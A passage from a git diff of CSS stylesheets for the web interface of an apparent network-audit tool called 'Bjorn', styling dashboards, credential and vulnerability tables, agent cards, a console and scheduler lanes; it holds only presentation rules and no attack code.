transparent) +} + +.stat-icon { + font-size: 1.1rem; + opacity: .9 +} + +.stat-value { + font-weight: 800; + background: linear-gradient(135deg, var(--acid), var(--acid-2)); + -webkit-background-clip: text; + background-clip: text; + -webkit-text-fill-color: transparent +} + +.stat-label { + color: var(--muted); + font-size: .8rem +} + +/* Stat cards (grid variant) */ +.stats-header { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); + gap: var(--gap-4); + margin-bottom: var(--gap-3) +} + +.stat-card { + background: var(--grad-card); + border-radius: var(--radius); + padding: var(--gap-4); + text-align: center; + border: 1px solid var(--c-border); + transition: all .3s cubic-bezier(.4, 0, .2, 1); + position: relative; + overflow: hidden; + box-shadow: var(--shadow) +} + +.stat-card::before { + content: ''; + position: absolute; + top: 0; + left: 0; + right: 0; + height: 3px; + background: linear-gradient(90deg, var(--accent), var(--accent-2)) +} + +.stat-card:hover { + transform: translateY(-2px); + box-shadow: var(--shadow-hover) +} + +.stat-number { + font-size: 28px; + font-weight: bold; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + margin: 5px 0 +} + +/* ============================== + 14) Search box (shared pattern) + ============================== */ +.search-box { + flex: 1; + min-width: 200px; + position: relative +} + +.search-input { + width: 100%; + padding: 10px 14px; + border-radius: 12px; + border: 1px solid var(--c-border); + background: color-mix(in oklab, var(--c-panel-2) 90%, transparent); + color: var(--ink); + font: inherit; + outline: none; + transition: border-color .2s, box-shadow .2s +} + +.search-input:focus { + border-color: color-mix(in oklab, var(--acid-2) 40%, var(--c-border)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid-2) 18%, transparent) +} + +.search-input::placeholder { + color: var(--muted) +} + +.icon-btn { + display: inline-flex; + align-items: center; + justify-content: center; + width: 40px; + height: 40px; + border-radius: 12px; + background: var(--panel); + border: 1px solid var(--c-border-strong); + box-shadow: var(--shadow); + cursor: pointer; + transition: transform .12s ease, box-shadow .12s ease +} + +.icon-btn:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover) +} + +.icon-btn svg { + width: 20px; + height: 20px; + fill: var(--ink) +} + +/* ============================== + 15) Control bar + ============================== */ +.control-bar { + background: var(--grad-card); + border-radius: var(--radius); + padding: var(--gap-4); + margin-bottom: var(--gap-3); + display: flex; + flex-wrap: wrap; + gap: var(--gap-3); + align-items: center; + border: 1px solid var(--c-border); + box-shadow: var(--shadow) +} + +/* ============================== + 16) Data tables (shared DB/creds/vulns pattern) + ============================== */ +.data-table-wrap { + position: relative; + overflow: auto; + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + box-shadow: var(--shadow); + flex: 1; + min-height: 0 +} + +.data-table { + width: 100%; + border-collapse: separate; + border-spacing: 0 +} + +.data-table thead th { + position: sticky; + top: 0; + z-index: 5; + background: var(--c-panel); + border-bottom: 1px solid var(--c-border-strong); + text-align: left; + padding: 10px; + font-weight: 700; + color: var(--acid); + -webkit-user-select: none; + user-select: none; + cursor: pointer; + white-space: nowrap +} + +.data-table tbody td { + padding: 8px 10px; + border-bottom: 1px dashed var(--c-border-muted); + vertical-align: middle; + background: var(--grad-card) +} + +.data-table tbody tr:hover { + background: rgba(0, 255, 154, .06) +} + +.data-table tbody tr.selected { + background: rgba(0, 255, 154, .12); + outline: 1px solid var(--c-border-hi) +} + +.data-table .cell { + display: block; + min-width: 80px; + max-width: 520px; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis +} + +.data-table .cell[contenteditable="true"] { + outline: 0; + border-radius: 6px; + transition: .12s; + padding: 2px 6px +} + +.data-table .cell[contenteditable="true"]:focus { + background: rgba(0, 255, 154, .22); + box-shadow: 0 0 0 1px var(--c-border-hi) inset +} + +.data-table .cell.edited { + background: rgba(24, 240, 255, .18) +} + +.data-table .pk { + color: var(--muted); + font-size: 12px +} + +/* ============================== + 17) Tabs container (horizontal scrollable tabs) + ============================== */ +.tabs-container { + position: sticky; + top: 0; + z-index: 20; + display: flex; + align-items: center; + gap: 8px; + padding: 8px 12px; + min-height: 44px; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + background: color-mix(in oklab, var(--c-panel-2) 92%, transparent); + border: 1px solid var(--c-border); + border-radius: 12px; + box-shadow: var(--shadow) +} + +.tabs-container::-webkit-scrollbar { + height: 0 +} + +.tab { + padding: 10px 18px; + border-radius: 10px; + cursor: pointer; + color: var(--muted); + font-weight: 700; + font-size: .9rem; + border: 1px solid transparent; + white-space: nowrap; + flex: 0 0 auto; + transition: all .2s ease +} + +.tab:hover { + background: color-mix(in oklab, var(--c-panel-2) 90%, transparent) +} + +.tab.active { + background: var(--grad-chip-selected); + border-color: color-mix(in oklab, var(--acid) 55%, transparent); + color: var(--ink) +} + +/* ============================== + 18) Tree navigation (DB sidebar) + ============================== */ +.tree { + display: grid; + gap: 6px +} + +.tree-head { + display: flex; + gap: 8px; + align-items: center; + margin-bottom: 8px +} + +.tree-search { + display: flex; + gap: 6px; + align-items: center; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 10px; + padding: 6px 8px +} + +.tree-search input { + all: unset; + flex: 1; + color: var(--ink) +} + +.tree-group { + margin-top: 10px +} + +.tree-item { + display: flex; + align-items: center; + gap: 8px; + padding: 8px 10px; + border: 1px solid var(--c-border); + border-radius: 10px; + background: var(--c-panel-2); + cursor: pointer; + transition: .18s +} + +.tree-item:hover { + box-shadow: 0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak); + transform: translateX(2px) +} + +.tree-item.active { + background: var(--grad-chip-selected); + outline: 2px solid color-mix(in oklab, var(--acid) 55%, transparent) +} + +.tree-item .count { + margin-left: auto; + padding: 2px 8px; + border-radius: 999px; + background: var(--c-chip-bg); + border: 1px solid var(--c-border-hi); + font-size: 11px; + color: var(--muted) +} + +/* ============================== + 19) Scheduler board / lanes + ============================== */ +.board-wrap { + overflow: auto +} + +.board { + display: flex; + gap: 14px; + padding: 14px; + min-width: 960px +} + +.lane { + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 16px; + width: 340px; + display: flex; + flex-direction: column; + box-shadow: var(--shadow); + min-height: 0 +} + +.lane-header { + display: flex; + align-items: center; + gap: .6rem; + padding: .6rem .75rem; + border-bottom: 1px solid var(--c-border-strong); + border-top-left-radius: 16px; + border-top-right-radius: 16px; + background: linear-gradient(180deg, color-mix(in oklab, var(--panel) 96%, transparent), color-mix(in oklab, var(--panel) 88%, transparent)); + position: sticky; + top: 0; + z-index: 5 +} + +.lane-body { + flex: 1; + overflow: auto; + padding: 8px +} + +.lane-count { + padding: 2px 8px; + border-radius: 999px; + background: var(--c-chip-bg); + border: 1px solid var(--c-border-hi); + font-size: 11px; + color: var(--muted); + font-weight: 700 +} + +/* ============================== + 20) Agent / Zombie cards + ============================== */ +.agent-card { + transition: transform .16s ease, box-shadow .16s ease, border-color .16s ease; + cursor: pointer; + position: relative; + border: 1px solid var(--c-border); + border-radius: var(--radius); + background: var(--grad-card); + box-shadow: var(--shadow); + padding: 12px +} + +.agent-card:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover) +} + +.agent-card.selected { + border-color: color-mix(in oklab, var(--accent) 55%, transparent); + background: var(--grad-chip-selected) +} + +.agent-card .pill.online { + border-color: color-mix(in oklab, var(--ok) 60%, transparent); + color: var(--ok) +} + +.agent-card .pill.offline { + border-color: color-mix(in oklab, var(--danger) 60%, transparent); + color: var(--danger) +} + +.agent-card .pill.idle { + border-color: color-mix(in oklab, var(--warning) 60%, transparent); + color: var(--warning) +} + +/* ============================== + 21) File explorer (grid + list modes) + ============================== */ +.file-explorer { + flex: 1; + display: flex; + flex-direction: column; + overflow: hidden; + padding: 10px; + color: var(--ink); + background: color-mix(in oklab, var(--c-panel-2) 92%, transparent); + border: 1px solid var(--c-border); + border-radius: 14px; + -webkit-backdrop-filter: blur(18px); + backdrop-filter: blur(18px); + box-shadow: var(--shadow) +} + +.files-grid { + overflow-y: auto; + display: grid; + grid-template-columns: repeat(auto-fill, minmax(110px, 1fr)); + gap: 8px; + padding: 8px; + border-radius: 8px +} + +.files-list { + overflow-y: auto; + display: flex; + flex-direction: column; + gap: 2px; + padding: 4px +} + +.file-item { + padding: 8px; + display: flex; + align-items: center; + gap: 8px; + cursor: pointer; + border-radius: 10px; + transition: background .15s +} + +.file-item:hover { + background: var(--c-panel) +} + +.file-item.directory { + color: var(--accent-2) +} + +.file-item .file-name { + flex: 1; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap +} + +.file-item .file-size { + color: var(--muted); + font-size: 12px; + white-space: nowrap +} + +.file-item .file-date { + color: var(--muted); + font-size: 12px; + white-space: nowrap +} + +.breadcrumb { + display: flex; + align-items: center; + gap: 4px; + padding: 8px 0; + flex-wrap: wrap; + font-size: 13px +} + +.breadcrumb span { + cursor: pointer; + color: var(--acid); + transition: opacity .15s +} + +.breadcrumb span:hover { + opacity: .8 +} + +.breadcrumb .sep { + color: var(--muted); + cursor: default +} + +/* ============================== + 22) Loot page + ============================== */ +.loot-container { + position: relative; + z-index: 2; + padding: 16px; + min-height: calc(100vh - 60px); + display: flex; + flex-direction: column; + gap: 16px +} + +/* ============================== + 23) NetKB specific tokens + ============================== */ +.netkb-card { + position: relative; + border: 1px solid var(--c-border); + border-radius: var(--radius); + background: var(--grad-card); + padding: 12px; + box-shadow: var(--shadow); + transition: transform .16s ease, box-shadow .16s ease +} + +.netkb-card:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover) +} + +.netkb-card.offline { + opacity: .7; + background: color-mix(in oklab, var(--bg-2) 88%, black 12%); + border-color: color-mix(in oklab, var(--c-border-strong) 60%, transparent) +} + +.kb-pill { + display: inline-flex; + align-items: center; + gap: 4px; + padding: 3px 8px; + border-radius: 999px; + font-size: 12px; + font-weight: 600 +} + +.kb-pill.hostname { + background: color-mix(in oklab, var(--acid) 16%, transparent); + color: var(--acid) +} + +.kb-pill.ip { + background: color-mix(in oklab, var(--acid-2) 18%, transparent); + color: var(--acid-2) +} + +.kb-pill.mac { + background: color-mix(in oklab, var(--muted) 10%, transparent); + color: var(--muted) +} + +.kb-pill.vendor { + background: color-mix(in oklab, #b18cff 16%, transparent); + color: #b18cff +} + +.kb-pill.ports { + background: color-mix(in oklab, #5fd1ff 16%, transparent); + color: #5fd1ff +} + +.kb-pill.essid { + background: color-mix(in oklab, #00e6c3 16%, transparent); + color: #00e6c3 +} + +/* ============================== + 24) Metric blocks (zombieland / dashboard) + ============================== */ +.metric { + text-align: center +} + +.metric-value { + font-size: 32px; + font-weight: 800; + color: var(--acid) +} + +.metric-label { + font-size: 12px; + color: var(--muted); + margin-top: 4px +} + +/* ============================== + 25) Terminal block (zombieland console) + ============================== */ +.term { + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 10px +} + +.console-output { + height: 400px; + overflow-y: auto; + padding: 12px; + font: var(--font-mono); + background: var(--grad-console); + border-radius: 8px +} + +.console-line { + margin: 4px 0; + display: flex; + align-items: flex-start; + gap: 8px; + font: var(--font-mono) +} + +.console-time { + color: var(--muted); + font-size: 11px +} + +.console-type { + padding: 2px 6px; + border-radius: 999px; + font-size: 11px; + font-weight: 700; + border: 1px solid var(--c-border); + background: var(--c-chip-bg) +} + +.console-type.tx { + color: var(--ok); + border-color: color-mix(in oklab, var(--ok) 60%, transparent) +} + +.console-type.rx { + color: var(--accent-2); + border-color: color-mix(in oklab, var(--accent-2) 60%, transparent) +} + +.console-content { + flex: 1; + word-break: break-word +} + +.console-content pre { + margin: 0; + white-space: pre-wrap +} + +/* ============================== + 26) Quick commands (zombieland) + ============================== */ +.quick-cmd { + padding: 6px 12px; + background: var(--c-panel); + border: 1px dashed var(--c-border); + border-radius: 8px; + font-size: 12px; + cursor: pointer; + transition: .18s +} + +.quick-cmd:hover { + box-shadow: 0 0 0 1px var(--c-border) inset, 0 8px 22px var(--glow-weak) +} + +/* ============================== + 27) Heartbeat pulse animation + ============================== */ +@keyframes heartbeat { + + 0%, + 100% { + box-shadow: 0 0 0 0 rgba(0, 255, 154, .4) + } + + 50% { + box-shadow: 0 0 0 8px rgba(0, 255, 154, 0) + } +} + +.heartbeat { + animation: heartbeat 2s ease-in-out infinite +} + +/* ============================== + 28) Switch (inline toggle in rows) + ============================== */ +.kb-switch { + display: inline-flex; + align-items: center; + gap: 10px; + font-weight: 700; + color: var(--muted); + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 999px; + padding: 6px 10px +} + +.kb-switch input { + display: none +} + +.kb-switch .track { + width: 44px; + height: 24px; + border-radius: 999px; + background: var(--c-panel-2); + position: relative; + border: 1px solid var(--c-border) +} + +.kb-switch .thumb { + position: absolute; + top: 2px; + left: 2px; + width: 20px; + height: 20px; + border-radius: 50%; + background: var(--ink); + box-shadow: 0 2px 8px rgba(0, 0, 0, .4); + transition: left .18s ease, background .18s ease +} + +.kb-switch input:checked~.track .thumb { + left: 22px; + background: var(--acid) +} + +/* ============================== + 29) Editor (shared code/text editor) + ============================== */ +.editor-textarea { + width: 100%; + min-height: 300px; + resize: vertical; + background: var(--c-panel); + color: var(--ink); + border: 1px solid var(--c-border-strong); + border-radius: 10px; + padding: 12px; + font: var(--font-mono); + line-height: 1.5; + box-shadow: var(--shadow) +} + +.editor-textarea:focus { + outline: none; + border-color: var(--acid); + box-shadow: 0 0 12px var(--acid) +} + +/* ============================== + 30) EPD screen (bjorn page) + ============================== */ +.epd-frame { + display: grid; + place-items: center; + padding: 20px; + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: var(--radius); + box-shadow: var(--shadow) +} + +.epd-frame img { + max-width: 100%; + height: auto; + border-radius: 8px; + image-rendering: pixelated +} + +/* ============================== + 31) Backup / Update sections + ============================== */ +.backup-section { + display: flex; + flex-direction: column; + gap: 16px +} + +.backup-card { + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: var(--radius); + padding: 16px; + box-shadow: var(--shadow) +} + +.backup-card h3 { + color: var(--acid); + margin-bottom: 12px +} + +/* ============================== + 32) Vulnerability-specific + ============================== */ +.vuln-severity { + display: inline-flex; + align-items: center; + gap: 4px; + padding: 3px 10px; + border-radius: 999px; + font-size: 12px; + font-weight: 700; + text-transform: uppercase +} + +.vuln-severity.critical { + background: rgba(255, 59, 59, .15); + color: var(--danger); + border: 1px solid rgba(255, 59, 59, .3) +} + +.vuln-severity.high { + background: rgba(255, 130, 0, .12); + color: #ff8200; + border: 1px solid rgba(255, 130, 0, .3) +} + +.vuln-severity.medium { + background: rgba(255, 209, 102, .1); + color: var(--warning); + border: 1px solid rgba(255, 209, 102, .3) +} + +.vuln-severity.low { + background: rgba(44, 255, 126, .1); + color: var(--ok); + border: 1px solid rgba(44, 255, 126, .3) +} + +.vuln-severity.info { + background: rgba(24, 240, 255, .1); + color: var(--acid-2); + border: 1px solid rgba(24, 240, 255, .3) +} + +/* ============================== + 33) Credential-specific + ============================== */ +.cred-row { + display: flex; + align-items: center; + gap: 8px; + padding: 10px 12px; + border: 1px solid var(--c-border); + border-radius: 10px; + background: var(--grad-card); + margin-bottom: 6px; + transition: all .2s +} + +.cred-row:hover { + box-shadow: var(--shadow-hover); + transform: translateY(-1px) +} + +.cred-field { + display: flex; + flex-direction: column; + gap: 2px; + overflow: hidden +} + +.cred-field .label { + font-size: 10px; + text-transform: uppercase; + letter-spacing: .05em; + color: var(--muted) +} + +.cred-field .value { + font-size: 13px; + font-weight: 600; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis +} + +.cred-field .value.masked { + filter: blur(4px); + cursor: pointer; + transition: filter .2s +} + +.cred-field .value.masked:hover { + filter: none +} + +/* ============================== + 34) Animations + ============================== */ +@keyframes fadeIn { + from { + opacity: 0; + transform: translateY(8px) + } + + to { + opacity: 1; + transform: none + } +} + +@keyframes fadeInUp { + from { + opacity: 0; + transform: translateY(30px) + } + + to { + opacity: 1; + transform: translateY(0) + } +} + +@keyframes spin { + to { + transform: rotate(360deg) + } +} + +@keyframes pulse { + + 0%, + 100% { + opacity: 1 + } + + 50% { + opacity: .6 + } +} + +@keyframes blinkChange { + from { + box-shadow: 0 0 0 0 var(--acid-22) + } + + to { + box-shadow: 0 0 0 6px transparent + } +} + +.animate-fade { + animation: fadeIn .4s ease +} + +.animate-fadeup { + animation: fadeInUp .6s ease-out +} + +.value-changed { + animation: blinkChange .66s ease +} + +/* ============================== + 35) Responsive helpers + ============================== */ +@media (max-width:1100px) { + .data-table .cell { + max-width: 60vw + } +} + +@media (max-width:700px) { + .page-toolbar { + flex-wrap: wrap + } + + .stats-header { + grid-template-columns: repeat(2, 1fr) + } + + .board { + min-width: 0; + flex-direction: column + } + + .lane { + width: 100% + } +} + +/* ============================== + 36) Unified Toggle Switch + ============================== */ +.toggle-switch { + display: inline-flex; + align-items: center; + gap: 10px; + font-weight: 700; + color: var(--muted); + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 999px; + padding: 6px 10px; + cursor: pointer; + transition: .2s +} + +.toggle-switch:hover { + background: var(--c-panel-2) +} + +.toggle-switch input { + display: none +} + +.toggle-switch .track { + width: 44px; + height: 24px; + border-radius: 999px; + background: var(--c-panel-2); + position: relative; + border: 1px solid var(--c-border); + flex-shrink: 0 +} + +.toggle-switch .thumb { + position: absolute; + top: 2px; + left: 2px; + width: 18px; + height: 18px; + border-radius: 50%; + background: var(--ink); + box-shadow: 0 2px 8px rgba(0, 0, 0, .4); + transition: left .18s ease, background .18s ease +} + +.toggle-switch input:checked~.track .thumb { + left: 22px; + background: var(--acid) +} + +.toggle-switch input:checked~.track { + background: color-mix(in oklab, var(--acid) 22%, var(--c-panel-2)); + border-color: color-mix(in oklab, var(--acid) 40%, var(--c-border)) +} + +/* ============================== + 37) Unified Status Colors + ============================== */ +.status-ok, +.status-success { + color: var(--ok) +} + +.status-warn, +.status-warning { + color: var(--warning) +} + +.status-err, +.status-error, +.status-danger, +.status-failed { + color: var(--danger) +} + +.status-info { + color: var(--acid-2) +} + +.status-running { + color: #4aa8ff +} + +.status-pending { + color: #bbbbbb +} + +.status-upcoming { + color: #9cc2ff +} + +/* Status badge variants with background */ +.badge-ok, +.badge-success { + background: color-mix(in oklab, var(--ok) 14%, var(--c-chip-bg)); + border-color: color-mix(in oklab, var(--ok) 40%, var(--c-border)); + color: var(--ok) +} + +.badge-warn, +.badge-warning { + background: color-mix(in oklab, var(--warning) 14%, var(--c-chip-bg)); + border-color: color-mix(in oklab, var(--warning) 40%, var(--c-border)); + color: var(--warning) +} + +.badge-err, +.badge-error, +.badge-danger { + background: color-mix(in oklab, var(--danger) 14%, var(--c-chip-bg)); + border-color: color-mix(in oklab, var(--danger) 40%, var(--c-border)); + color: var(--danger) +} + +.badge-info { + background: color-mix(in oklab, var(--acid-2) 14%, var(--c-chip-bg)); + border-color: color-mix(in oklab, var(--acid-2) 40%, var(--c-border)); + color: var(--acid-2) +} + +.badge-running { + background: color-mix(in oklab, #4aa8ff 14%, var(--c-chip-bg)); + border-color: color-mix(in oklab, #4aa8ff 40%, var(--c-border)); + color: #4aa8ff +} + +/* ============================== + 38) Scheduler State Colors + ============================== */ +:root { + --c-upcoming: #9cc2ff; + --c-pending: #bbbbbb; + --c-running: #4aa8ff; + --c-success: var(--ok); + --c-failed: var(--danger); + --c-expired: #888888; + --c-cancelled: #666666 +} + +/* ============================== + 39) Unified Segmented Control + ============================== */ +.segmented { + display: inline-flex; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 999px; + padding: 4px; + box-shadow: var(--shadow) +} + +.segmented button { + appearance: none; + border: 0; + background: transparent; + color: var(--muted); + font-weight: 700; + padding: 8px 14px; + border-radius: 999px; + cursor: pointer; + transition: background .15s ease, color .15s ease, transform .1s ease +} + +.segmented button:hover { + color: var(--ink); + background: rgba(255, 255, 255, .04) +} + +.segmented button[aria-pressed="true"], +.segmented button.active { + background: var(--grad-card); + color: var(--ink); + box-shadow: inset 0 0 0 1px var(--c-border-hi), 0 6px 24px var(--glow-weak); + transform: translateY(-1px) +} + +/* ============================== + 40) Unified Toolbar Pattern + ============================== */ +.page-toolbar { + display: flex; + gap: 12px; + align-items: center; + padding: 8px 10px; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 16px; + box-shadow: var(--shadow) +} + +.page-toolbar-wrap { + position: sticky; + top: 0; + z-index: 500; + backdrop-filter: saturate(1.1) blur(6px); + margin-bottom: 12px +} \ No newline at end of file diff --git a/web/css/pages.css b/web/css/pages.css new file mode 100644 index 0000000..9f0bfc5 --- /dev/null +++ b/web/css/pages.css @@ -0,0 +1,10646 @@ +/* ========================================================================== + pages.css — Page-specific styles for all SPA page modules. + Each section is scoped under the page's wrapper class to avoid conflicts. + ========================================================================== */ + +/* ===== Page-specific variables (extends global.css tokens) ===== */ +:root { + /* Bridge aliases used by multiple pages (Credentials, Loot, Files, Attacks) */ + --_bg: var(--bg); + --_panel: var(--c-panel-2); + --_panel-hi: color-mix(in oklab, var(--c-panel-2) 96%, transparent); + --_panel-lo: color-mix(in oklab, var(--c-panel-2) 86%, transparent); + --_border: var(--c-border); + --_ink: var(--ink); + --_muted: var(--muted); + --_acid: var(--acid); + --_acid2: var(--acid-2); + --_shadow: var(--shadow); + + /* NetKB chip colors */ + --kb-hostname-bg: color-mix(in oklab, var(--acid) 16%, transparent); + --kb-ip-bg: color-mix(in oklab, var(--acid-2) 18%, transparent); + --kb-mac-bg: color-mix(in oklab, var(--muted) 10%, transparent); + --kb-vendor-bg: color-mix(in oklab, #b18cff 16%, transparent); + --kb-ports-bg: color-mix(in oklab, #5fd1ff 16%, transparent); + --kb-essid-bg: color-mix(in oklab, #00e6c3 16%, transparent); + --kb-offline-bg: color-mix(in oklab, var(--bg-2) 88%, black 12%); + --kb-offline-brd: color-mix(in oklab, var(--c-border-strong) 60%, transparent); + --kb-offline-ring: color-mix(in oklab, #ff5b5b 30%, transparent); + --kb-badge-shimmer: linear-gradient(90deg, transparent, rgba(255, 255, 255, .22), transparent); + + /* Attacks page */ + --tile-min: 160px; + --ok-glow: rgba(34, 197, 94, .45); + --ko-glow: rgba(239, 68, 68, .45); +} + +/* ===== Shared sidebar layout (SPA parity with web_old) ===== */ +.page-with-sidebar { + --page-sidebar-w: 280px; + position: relative; + display: flex; + gap: 12px; + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); + align-items: stretch; +} + +.page-with-sidebar .page-sidebar { + width: var(--page-sidebar-w); + flex: 0 0 var(--page-sidebar-w); + position: sticky; + top: 0; + align-self: stretch; + min-height: 100%; + max-height: none; + min-width: 0; + display: flex; + flex-direction: column; + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + box-shadow: var(--shadow); + overflow: auto; +} + +.page-with-sidebar .page-main { + min-width: 0; + flex: 1; + min-height: 0; + display: flex; + flex-direction: column; +} + +.page-with-sidebar .sidebar-toggle-btn { + display: inline-flex; + margin-bottom: 0; + align-self: auto; +} + +.page-with-sidebar .sidebar-fab { + position: fixed; + right: 14px; + bottom: calc(var(--h-bottombar, 56px) + 14px); + z-index: 82; + border-radius: 999px; + width: 38px; + height: 38px; + min-width: 38px; + min-height: 38px; + padding: 0; + font-size: 16px; + color: var(--ink); + background: color-mix(in oklab, var(--c-panel) 88%, transparent); + border: 1px solid var(--c-border-strong); + box-shadow: 0 6px 16px rgba(0, 0, 0, .28); + opacity: .88; +} + +.page-with-sidebar .sidebar-fab:hover { + opacity: 1; + transform: translateY(-1px); +} + +.page-with-sidebar .sidebar-fab:active { + transform: translateY(0); +} + +.page-sidebar-backdrop { + display: none; + position: fixed; + left: 0; + right: 0; + top: var(--h-topbar, 56px); + bottom: var(--h-bottombar, 56px); + background: rgba(0, 0, 0, .52); + border: 0; + z-index: 79; +} + +.page-with-sidebar .sidehead { + padding: 10px; + border-bottom: 1px dashed var(--c-border); + display: flex; + align-items: center; + gap: 8px; +} + +.page-with-sidebar .sidetitle { + font-weight: 800; + color: var(--acid); + letter-spacing: .05em; +} + +.page-with-sidebar .sidecontent { + padding: 10px; + overflow: auto; + min-height: 0; + flex: 1; +} + +.page-with-sidebar.sidebar-collapsed .page-sidebar { + width: 0; + flex-basis: 0; + padding: 0; + border-width: 0; + overflow: hidden; +} + +@media (max-width: 900px) { + .page-with-sidebar { + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 12px); + } + + .page-with-sidebar .sidebar-fab { + right: 10px; + bottom: calc(var(--h-bottombar, 56px) + 10px); + } + + .sidebar-fab-unified { + position: fixed; + z-index: 82; + border-radius: 999px; + width: 38px; + height: 38px; + min-width: 38px; + min-height: 38px; + padding: 0; + font-size: 16px; + color: var(--ink); + background: color-mix(in oklab, var(--c-panel) 88%, transparent); + border: 1px solid var(--c-border-strong); + box-shadow: 0 6px 16px rgba(0, 0, 0, .28); + opacity: .88; + } + + .sidebar-fab-unified:hover { + opacity: 1; + transform: translateY(-1px); + } + + .sidebar-fab-unified:active { + transform: translateY(0); + } + + .page-with-sidebar .page-sidebar { + position: fixed; + top: var(--h-topbar, 56px); + bottom: var(--h-bottombar, 56px); + left: 0; + z-index: 80; + width: min(86vw, 320px); + flex-basis: auto; + transform: translateX(-105%); + transition: transform .2s ease; + } + + .page-with-sidebar.sidebar-open .page-sidebar { + transform: translateX(0); + } + + .page-with-sidebar.sidebar-open .page-sidebar-backdrop { + display: block; + } +} + +/* ===== DASHBOARD ===== */ +.dashboard-container { + --gap: 12px; + --radius: 14px; + --pad: 12px; + --fs-meta: 12px; + --fs-title: 22px; + --glow-weak: color-mix(in oklab, var(--_acid2) 30%, transparent); + --glow-mid: color-mix(in oklab, var(--_acid2) 70%, transparent); +} + +@media (min-width:1024px) { + .dashboard-container { + --gap: 14px; + --radius: 16px; + --pad: 14px; + --fs-title: 24px; + } +} + +.dashboard-container .card { + border: 1px solid var(--c-border, var(--_border)); + background: color-mix(in oklab, var(--_panel) 92%, transparent); + border-radius: var(--radius); + box-shadow: var(--_shadow); + padding: var(--pad); + backdrop-filter: saturate(1.05) blur(3px); +} + +.dashboard-container .head { + display: flex; + justify-content: space-between; + align-items: center; + gap: 10px; +} + +.dashboard-container .head .title { + font-size: var(--fs-title); + line-height: 1.1; + margin: 0; +} + +.dashboard-container .head .meta { + color: var(--_muted); + font-size: var(--fs-meta); +} + +.dashboard-container .pill { + font-size: 12px; + color: var(--_muted); +} + +.dashboard-container .hero-grid { + display: grid; + gap: var(--gap); + grid-template-columns: 1fr; +} + +@media (min-width:1024px) { + .dashboard-container .hero-grid { + grid-template-columns: minmax(240px, 320px) 1fr minmax(220px, 300px); + } +} + +/* Battery naked */ +.dashboard-container .battery-card.naked { + border: none; + background: transparent; + box-shadow: none; + padding: 0; + display: grid; + place-items: center; +} + +.dashboard-container .battery-wrap { + position: relative; + width: clamp(180px, 46vw, 260px); + aspect-ratio: 1/1; + height: auto; + display: grid; + place-items: center; +} + +.dashboard-container .battery-ring { + position: absolute; + left: 50%; + top: 50%; + width: 100%; + height: 100%; + transform: translate(-50%, -50%) rotate(-90deg); + display: block; +} + +.dashboard-container .batt-bg { + fill: none; + stroke: color-mix(in oklab, var(--_ink) 10%, transparent); + stroke-width: 16; + opacity: .35; +} + +.dashboard-container .batt-fg { + fill: none; + stroke: url(#batt-grad); + stroke-width: 16; + stroke-linecap: round; + filter: url(#batt-glow); + stroke-dasharray: 100; + stroke-dashoffset: 100; + transition: stroke-dashoffset .9s ease; +} + +.dashboard-container .batt-scan { + fill: none; + stroke: var(--glow-mid); + stroke-width: 16; + stroke-linecap: round; + stroke-dasharray: 8 280; + opacity: .14; + transform-origin: 50% 50%; + animation: db-battSweep 2.2s linear infinite; +} + +@keyframes db-battSweep { + to { + transform: rotate(360deg); + } +} + +.dashboard-container .batt-center { + position: absolute; + inset: 0; + display: grid; + grid-template-rows: auto auto auto; + align-content: center; + justify-items: center; + gap: 6px; + padding: 6px; + text-align: center; +} + +.dashboard-container .bjorn-portrait { + position: relative; + width: 64px; + height: 64px; + display: grid; + place-items: center; + overflow: hidden; +} + +.dashboard-container .bjorn-portrait img { + width: 100%; + height: 100%; + object-fit: contain; + display: block; + opacity: .95; +} + +.dashboard-container .bjorn-lvl { + position: absolute; + right: -4px; + bottom: -4px; + font-size: 11px; + font-weight: 700; + padding: 2px 6px; + border-radius: 999px; + background: #0f1f18; + color: #d9ffe7; + border: 1px solid color-mix(in oklab, var(--ok) 40%, var(--_border)); + box-shadow: 0 0 8px var(--glow-weak); +} + +.dashboard-container .batt-val { + font-size: clamp(18px, 5vw, 24px); + font-weight: 800; + text-shadow: 0 0 14px var(--glow-weak); +} + +.dashboard-container .batt-state { + color: var(--_muted); + font-size: 11px; + display: flex; + align-items: center; + gap: 6px; +} + +.dashboard-container .batt-indicator { + width: 16px; + height: 16px; + display: inline-grid; + place-items: center; +} + +.dashboard-container .batt-indicator svg { + width: 18px; + height: 18px; + stroke: currentColor; + fill: none; + stroke-width: 2; +} + +.dashboard-container .pulse { + animation: db-pulseGlow 1.4s ease-in-out infinite; +} + +@keyframes db-pulseGlow { + + 0%, + 100% { + transform: scale(1); + opacity: .9; + } + + 50% { + transform: scale(1.1); + opacity: 1; + filter: drop-shadow(0 0 6px var(--glow-mid)); + } +} + +/* Connectivity */ +.dashboard-container .net-card .globe { + position: relative; + width: 84px; + height: 84px; + display: grid; + place-items: center; + background: color-mix(in oklab, var(--_panel) 92%, transparent); +} + +.dashboard-container .globe svg { + display: block; +} + +.dashboard-container .globe-rim { + fill: none; + stroke: color-mix(in oklab, var(--_ink) 18%, transparent); + stroke-width: 3; +} + +.dashboard-container .globe-lines { + fill: none; + stroke: 